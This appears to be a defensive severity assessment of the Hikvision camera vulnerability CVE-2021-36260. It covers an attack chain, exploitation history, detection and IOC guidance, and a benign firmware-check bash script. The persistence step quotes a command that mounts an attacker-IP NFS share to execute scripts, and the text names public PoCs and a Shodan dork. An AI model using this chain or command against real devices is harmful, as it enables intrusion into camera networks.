It's like leaving 80,000 unlocked doors on the internet — each one wired directly to your internal network
CVE-2021-36260 is an unauthenticated command injection vulnerability in the embedded web server of over 70 Hikvision IP camera and NVR models. An attacker sends a crafted HTTP PUT request to the /SDK/webLanguage endpoint with an XML payload containing injected OS commands. No credentials are required, no user interaction is needed, and the commands execute as root. Affected firmware spans builds from 2016 through June 2021 (build date < 210628) across the IPC_G3, IPC_G5, IPC_H5, IPC_H8, IPD_E7, IPD_G3, IPD_H5, IPD_H7, and IPD_H8 firmware families — effectively every mainstream Hikvision camera and NVR product line shipped in that five-year window.
Hikvision rated this 9.8 CRITICAL and for once the vendor score is *exactly* right. This is a zero-click, unauthenticated, network-reachable RCE that hands the attacker root on an appliance that by design sits on a network boundary. CISA added it to KEV. The NSA, FBI, and CISA jointly called it out as a top CVE exploited by PRC state-sponsored actors. EPSS sits at 0.99869 — the 99.9th percentile. Moobot and other Mirai-variant botnets have been mass-exploiting it since late 2021. As recently as September–October 2026, GreyNoise documented a targeted nine-day exploitation surge against cameras in Ukraine, likely for battlefield intelligence. Over 80,000 cameras remain exposed and unpatched on the public internet five years after the fix shipped. There is zero daylight between vendor severity and real-world severity.
4 steps from start to impact.
Discover exposed Hikvision web interface
- Target device exposes HTTP/HTTPS port (80/443) to attacker-reachable network
- If the camera is behind a properly segmented VLAN with no inbound routing from the internet or corporate LAN, the attacker cannot reach it
CVE-2021-36260 (pdteam/gy741/johnk3r). GreyNoise tag Hikvision IP Camera RCE CVE-2021-36260 Attempt tracks active scanning. Shodan dork product:Hikvision enumerates exposed devices.Send crafted PUT request to /SDK/webLanguage
/SDK/webLanguage with an XML body containing an OS command injected into a language parameter. No authentication is required — the endpoint is pre-auth. The injected command executes immediately in a shell context. Multiple public PoCs exist: Aiminsun/CVE-2021-36260 on GitHub, TaroballzChen/CVE-2021-36260-metasploit (Metasploit module), and the nuclei template used in active campaigns.- Target runs vulnerable firmware (build date before 210628)
- HTTP/HTTPS port is reachable
- A WAF or IPS inspecting HTTP PUT bodies to the
/SDK/webLanguagepath could block the payload, but most camera deployments have no inline WAF
/SDK/webLanguage with shell metacharacters.Achieve root-level command execution
- Successful injection from step 2
- None — once the PUT lands on a vulnerable device, root execution is guaranteed
Establish persistence and lateral movement
wget/curl. A novel 2026 technique documented by VulnCheck uses mount -o intr,nolock,tcp,exec <attacker-IP>:/srv/nfs/shared to mount a remote NFS share and execute scripts — bypassing traditional HTTP download detection. The compromised camera becomes a pivot point into the internal network, or is enrolled into a DDoS botnet.- Root shell from step 3
- Outbound network access from the camera (NFS, HTTP, or DNS)
- Strict egress filtering on the camera VLAN would prevent malware download and C2 callback
- Network segmentation preventing camera-to-corporate-LAN routing blocks lateral movement
48d2c2c68fa0bd44eb70c1a6cf572406442b289fb6030e946f0530ce6f9fad98./SDK/webLanguage with shell metacharacters. Also monitor for outbound NFS traffic (TCP 111, 2049) from camera subnets — the novel mount-based evasion technique documented by VulnCheck in 2026 bypasses traditional curl/wget detection. This provides detection but not prevention unless deployed inline in IPS mode. Deploy within 3 days.87.121.84[.]34, 31.59.40[.]187, 45.125.66[.]79, 141.11.62[.]222, 220.158.232[.]99, 195.3.221[.]137. Monitor for unexpected DNS queries, reverse shells, and outbound connections from camera IP ranges. Alert on any camera initiating connections to non-VMS destinations. This is detective, not preventive. Deploy within 3 days.- Changing the camera admin password does not help — the vulnerability is pre-authentication. The
/SDK/webLanguageendpoint is reachable without any credentials. - Disabling ONVIF or RTSP does not help — the vulnerability is in the main HTTP web server, not in ONVIF or streaming protocols. As long as the web interface is reachable, the device is exploitable.
- Cloud/P2P access restrictions (Hik-Connect) do not help — the vulnerability is in the local web server, not in the cloud relay. Even if cloud access is disabled, direct HTTP access to the camera is the attack vector.
- MAC address filtering on the camera network does not help — the attack is Layer 7 (HTTP), not Layer 2. Any device that can route HTTP to the camera can exploit it.
The supporting signals.
| In-the-wild status | Massively exploited. KEV-listed since Jan 2022. NSA/CISA/FBI joint advisory AA22-279A names it a top CVE used by PRC state-sponsored actors. Flax Typhoon, HiatusRAT, and Moobot (Mirai-variant) campaigns confirmed. GreyNoise observed a targeted nine-day exploitation surge against Ukrainian cameras in Sep–Oct 2026. |
|---|---|
| PoC availability | Weaponized and public. GitHub repos: Aiminsun/CVE-2021-36260 (Python PoC with safe/unsafe modes), TaroballzChen/CVE-2021-36260-metasploit (Metasploit module). Nuclei template in projectdiscovery/nuclei-templates. Keysight ATI strike available. |
| EPSS | 0.99869 — 99.9th percentile. Virtually certain exploitation probability. |
| KEV status | Yes. Added to CISA Known Exploited Vulnerabilities catalog. Due date for federal agencies has long passed. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Network-reachable, low complexity, no privileges, no user interaction, full CIA impact. A perfect-storm vector for IoT. |
| Affected versions | All Hikvision IP cameras and NVRs with firmware build date before 210628 (June 28, 2021). Over 70 model families across IPC_G3, IPC_G5, IPC_H5, IPC_H8, IPD_E7, IPD_G3, IPD_H5, IPD_H7, IPD_H8 firmware lines. Full list on Hikvision advisory. |
| Fixed versions | Firmware builds dated 210628 or later. Patched firmware available per-model at Hikvision's firmware update page. |
| Scanning / exposure | CYFIRMA identified 80,000+ vulnerable cameras exposed on the public internet across 2,300+ organizations in 100+ countries. Shodan dork product:Hikvision returns hundreds of thousands of devices. GreyNoise tag Hikvision IP Camera RCE CVE-2021-36260 Attempt shows continuous scanning activity globally. |
| Disclosure timeline | Discovered by Watchful IP (UK-based researcher) on June 20, 2021. Reported to Hikvision June 21, 2021. Patch released in firmware builds dated June 28, 2021. Public advisory September 18, 2021. CVE published September 22, 2021. |
| Threat actors | PRC state-sponsored APTs (per NSA/CISA/FBI AA22-279A), Flax Typhoon, HiatusRAT (per FBI IC3 advisory 241216), Moobot botnet (Mirai variant, per Fortinet). Suspected use in Russia-Ukraine conflict for battlefield intelligence (GreyNoise, Oct 2026). |
Sources.
- Watchful IP — Original Researcher Disclosure
- CISA/NSA/FBI Joint Advisory AA22-279A — Top PRC-Exploited CVEs
- Fortinet — Moobot Botnet Targets Hikvision Vulnerability
- VulnCheck — Novel Mount-Based Exploitation Technique
- GreyNoise — Hikvision Exploitation Surge in Ukraine (Sep–Oct 2026)
- Hikvision Security Advisory — Affected Models and Firmware Updates
- CYFIRMA — 80,000+ Exposed Cameras Analysis
- Nuclei Template — CVE-2021-36260 Detection
Why this verdict
- Zero friction in the kill chain: The attack requires only HTTP/HTTPS reachability to the camera — no authentication, no user interaction, no special configuration. The endpoint
/SDK/webLanguageis pre-auth by design. Every vulnerable camera reachable on the network is exploitable in a single HTTP PUT request. - Massive exposed attack surface: Over 80,000 cameras remain unpatched and internet-facing five years after the fix shipped. Hikvision holds ~20-25% global surveillance market share. The population of reachable targets is enormous and continuously scanned.
- Nation-state and botnet weaponization: NSA/CISA/FBI jointly attribute exploitation to PRC state-sponsored actors. Flax Typhoon and HiatusRAT campaigns confirmed. Moobot botnet mass-exploits it for DDoS recruitment. GreyNoise documented a targeted campaign against Ukrainian cameras in September–October 2026. This is not theoretical — it is actively, continuously exploited.
- Root-level impact on a boundary device: Exploitation yields root on an embedded Linux appliance that by design sits at a network boundary — often bridging physical security networks, OT/ICS environments, and corporate LANs. The blast radius extends well beyond the camera itself.
- Role multiplier: Hikvision cameras are deployed as (a) consumer home cameras (low value), (b) enterprise building surveillance (typical), and (c) physical security for critical infrastructure, industrial facilities, government sites, and OT/ICS environments (high value). In the high-value role, a compromised camera provides a network pivot into segmented OT/ICS networks, enables surveillance feed interception for espionage or physical security bypass, and can serve as a persistent foothold behind perimeter defenses. The camera IS the network edge appliance — it is internet-facing by design — so ≫10% of the installed base occupies the high-value role. The floor is CRITICAL, and the zero-friction attack chain keeps the verdict at the ceiling.
- EPSS 0.99869 and KEV-listed confirm that automated exploitation is essentially guaranteed for any reachable instance. No model-based or catalog-based indicator points anywhere but maximum severity.
Why not higher?
There is no higher severity. CVSS 9.8 is effectively the ceiling for a single-host vulnerability with Scope:Unchanged. The only theoretical path to 10.0 would be Scope:Changed, which would require the camera vulnerability to directly compromise a different security domain — while lateral movement is likely, the initial exploitation scope is the camera itself.
Why not lower?
Every downgrade pressure point is absent here. There are no authentication requirements, no exploit complexity barriers, no user interaction dependencies, no unusual configuration prerequisites. The attack surface is internet-facing by design. The exploit is public, weaponized, and integrated into Metasploit and nuclei. Nation-state actors and botnets are actively exploiting it. The EPSS score is in the 99.9th percentile. Downgrading this would require evidence that essentially no Hikvision cameras are network-reachable, which is contradicted by 80,000+ confirmed exposed instances.
Crowdsourced verification payload.
Run this script from any Linux/macOS workstation that can reach the target camera's HTTP port. Usage: bash check_hikvision_cve2021_36260.sh <camera-ip> [port]. No special privileges required — it only sends a benign HTTP request to check firmware version. Does NOT send an exploit payload.
#!/usr/bin/env bash
# check_hikvision_cve2021_36260.sh
# Checks if a Hikvision camera is vulnerable to CVE-2021-36260
# by querying the device info endpoint for firmware build date.
# Safe, non-exploitative check. No authentication required for this endpoint.
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN
set -euo pipefail
TARGET="${1:-}"
PORT="${2:-80}"
if [[ -z "$TARGET" ]]; then
echo "Usage: $0 <camera-ip-or-hostname> [port]"
echo "Example: $0 192.168.1.100 80"
exit 2
fi
URL="http://${TARGET}:${PORT}/System/deviceInfo"
echo "[*] Querying device info at ${URL} ..."
RESPONSE=$(curl -sk --connect-timeout 10 --max-time 15 "$URL" 2>/dev/null || true)
if [[ -z "$RESPONSE" ]]; then
# Try HTTPS
URL="https://${TARGET}:${PORT}/System/deviceInfo"
echo "[*] HTTP failed, trying HTTPS at ${URL} ..."
RESPONSE=$(curl -sk --connect-timeout 10 --max-time 15 "$URL" 2>/dev/null || true)
fi
if [[ -z "$RESPONSE" ]]; then
echo "UNKNOWN - Could not connect to ${TARGET}:${PORT}"
exit 2
fi
# Check if this is a Hikvision device
if ! echo "$RESPONSE" | grep -qi "hikvision\|hikdigital\|DeviceInfo"; then
echo "UNKNOWN - Device at ${TARGET}:${PORT} does not appear to be a Hikvision product"
exit 2
fi
# Extract firmware version and build date
FW_VERSION=$(echo "$RESPONSE" | grep -oP '<firmwareVersion>[^<]+' | sed 's/<firmwareVersion>//' || true)
BUILD=$(echo "$RESPONSE" | grep -oP '<firmwareReleasedDate>[^<]+' | sed 's/<firmwareReleasedDate>//' || true)
MODEL=$(echo "$RESPONSE" | grep -oP '<model>[^<]+' | sed 's/<model>//' || true)
echo "[*] Model: ${MODEL:-unknown}"
echo "[*] Firmware: ${FW_VERSION:-unknown}"
echo "[*] Build date: ${BUILD:-unknown}"
if [[ -z "$BUILD" && -z "$FW_VERSION" ]]; then
echo "UNKNOWN - Could not extract firmware version or build date"
exit 2
fi
# Check build date - vulnerable if before 210628
# Build dates are typically in format YYMMDD or embedded in version string
BUILD_NUM=$(echo "$BUILD $FW_VERSION" | grep -oP '2[0-9]{5}' | head -1 || true)
if [[ -z "$BUILD_NUM" ]]; then
echo "UNKNOWN - Could not parse build date from firmware string"
exit 2
fi
echo "[*] Parsed build number: ${BUILD_NUM}"
if [[ "$BUILD_NUM" -lt 210628 ]]; then
echo ""
echo "VULNERABLE - Firmware build ${BUILD_NUM} predates the CVE-2021-36260 fix (210628)"
echo "ACTION: Update firmware immediately. Download from:"
echo " https://www.hikvision.com/en/support/cybersecurity/security-advisory/"
exit 0
else
echo ""
echo "PATCHED - Firmware build ${BUILD_NUM} includes the CVE-2021-36260 fix"
exit 1
fi